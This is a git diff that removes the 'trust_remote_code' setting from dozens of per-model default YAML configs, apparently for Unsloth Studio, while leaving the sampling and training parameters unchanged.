diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml
index 2bcdf67c15..18392568bd 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_k: 64
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml
index 7c123da0b8..434ac41b46 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_k: 64
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml
index 492c42812e..5f0a7b26ce 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 2
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_k: 64
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml
index 23d00df752..dd5ae51ab0 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 1024
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
 audio_input: true
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_k: 64
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml
index bf5e111b7d..e53e163a04 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 2
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
 audio_input: true
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_k: 64
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml
index c80506d9f5..ebe344e382 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-26B-A4B-it, unsloth/gemma-4-26B-A4B-it-GGUF
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml
index 9e579be503..fb89a07133 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-26B-A4B
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml
index cec4ea95e1..4a089992ac 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-31B-it, unsloth/gemma-4-31B-it-GGUF
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml
index 717cdd5e63..ae7524b7c6 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-31B
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml
index 43e3d78a23..10c1abd8a5 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-E2B-it, unsloth/gemma-4-E2B-it-GGUF
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml
index bd86cef751..fb5c1d9dea 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-E2B
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml
index a8ef51836b..189e5dc6b2 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-E4B-it, unsloth/gemma-4-E4B-it-GGUF
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml
index 740cc99df5..aa51440b6a 100644
--- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml
+++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml
@@ -2,7 +2,6 @@
 # Also applies to: google/gemma-4-E4B
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   num_epochs: 0
   learning_rate: 2e-4
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 0.95
   top_k: 64
diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml
index bd39e70a96..e2d67bcb0b 100644
--- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml
+++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 4096
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 1.0
   top_k: 0
diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml
index 839e9a5b75..aa436117a1 100644
--- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml
+++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 1024
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.0
   top_p: 1.0
   top_k: 0
diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml
index 9557fc296f..3f2cb84a94 100644
--- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -47,7 +46,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.0
   top_p: 1.0
   top_k: 0
diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml
index ce73c6a8ee..ab756fe764 100644
--- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml
+++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -47,7 +46,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.0
   top_p: 1.0
   top_k: 0
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml
index d9a75c391d..1a7a91e56f 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml
index 2bc3f6f871..7c7bb8dc3e 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Llama-3.2-1B-Instruct-unsloth-bnb-4bit, meta-llama/Llama-3.2-1B-Instruct, unsloth/Llama-3.2-1B-Instruct-bnb-4bit, RedHatAI/Llama-3.2-1B-Instruct-FP8, unsloth/Llama-3.2-1B-Instruct-FP8-Block, unsloth/Llama-3.2-1B-Instruct-FP8-Dynamic
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 5
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml
index 82091c7d35..f73b0c09b6 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml
index 5a014a63bf..ffefb29e24 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml
index 885f7b47fd..cd986a6da1 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Meta-Llama-3.1-8B-bnb-4bit, unsloth/Meta-Llama-3.1-8B-unsloth-bnb-4bit, meta-llama/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-70B, meta-llama/Meta-Llama-3.1-70B, unsloth/Meta-Llama-3.1-405B-bnb-4bit, meta-llama/Meta-Llama-3.1-405B
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml
index 1ff06cca6f..55dd3144c6 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to: "unsloth/Meta-Llama-3.1-8B-Instruct-unsloth-bnb-4bit", "meta-llama/Meta-Llama-3.1-8B-Instruct", "unsloth/Meta-Llama-3.1-8B-Instruct","RedHatAI/Llama-3.1-8B-Instruct-FP8","unsloth/Llama-3.1-8B-Instruct-FP8-Block","unsloth/Llama-3.1-8B-Instruct-FP8-Dynamic"
 
 training:
-  trust_remote_code: false
   max_seq_length: 8192
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml
index 95ee5ead5c..8c9cb07fb9 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/llama-3-8b-Instruct, meta-llama/Meta-Llama-3-8B-Instruct
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml
index a05ac86f43..32441c5674 100644
--- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/llama-3-8b, meta-llama/Meta-Llama-3-8B
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml
index 1f473c3af1..6bba9c9633 100644
--- a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml
+++ b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -40,7 +39,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.2
   top_p: 1.2
 
diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml
index 5a53bb52eb..f9833ce705 100644
--- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -49,7 +48,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.7
   min_p: 0.01
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml
index b84f7e1abb..0ba857cd40 100644
--- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml
+++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -49,7 +48,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.15
   top_p: 0.95
 
diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml
index abdac62c0c..3476f2dd6d 100644
--- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to:  "unsloth/Mistral-Nemo-Base-2407",  "mistralai/Mistral-Nemo-Base-2407", "unsloth/Mistral-Nemo-Instruct-2407-bnb-4bit", "unsloth/Mistral-Nemo-Instruct-2407", "mistralai/Mistral-Nemo-Instruct-2407",
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml
index 149f2a24f1..eda04d21f9 100644
--- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml
+++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Mistral-Small-Instruct-2409-bnb-4bit, mistralai/Mistral-Small-Instruct-2409
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml
index 3976cd0aa0..bcd0d20c8c 100644
--- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml
+++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml
index 55d5dd289b..34a033e32f 100644
--- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/mistral-7b-instruct-v0.3, mistralai/Mistral-7B-Instruct-v0.3
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml
index 5b24f5b581..98105eaf38 100644
--- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml
@@ -2,7 +2,6 @@
 # Based on Mistral_v0.3_(7B)-Alpaca.ipynb
 # Also applies to: "unsloth/mistral-7b-v0.3", "mistralai/Mistral-7B-v0.3",
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -41,6 +40,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml
index 87b94ce67c..72b5b018e1 100644
--- a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml
@@ -6,7 +6,6 @@
 audio_type: dac
 
 training:
-  trust_remote_code: false
   eval_steps: 0
   max_seq_length: 2048
   # num_epochs: 4
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.4
   top_k: 40
   top_p: 0.9
diff --git a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml
index 03748cd5fd..d20751b0c7 100644
--- a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml
@@ -6,7 +6,6 @@
 audio_type: bicodec
 
 training:
-  trust_remote_code: false
   eval_steps: 0
   max_seq_length: 2048
   # num_epochs: 4
@@ -48,7 +47,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.8
   top_k: 50
   top_p: 1.0
diff --git a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml
index 5c1e180f8c..8a80282a2a 100644
--- a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml
@@ -5,7 +5,6 @@
 audio_type: csm
 
 training:
-  trust_remote_code: false
   eval_steps: 0
   max_seq_length: 2048
   # num_epochs: 4
@@ -45,6 +44,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml
index 6d8be3656f..a973c2d4e4 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/GLM-4.7-Flash-unsloth-bnb-4bit, unsloth/GLM-4.7-Flash-bnb-4bit, THUDM/GLM-4.7-Flash
 
 training:
-  trust_remote_code: true
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
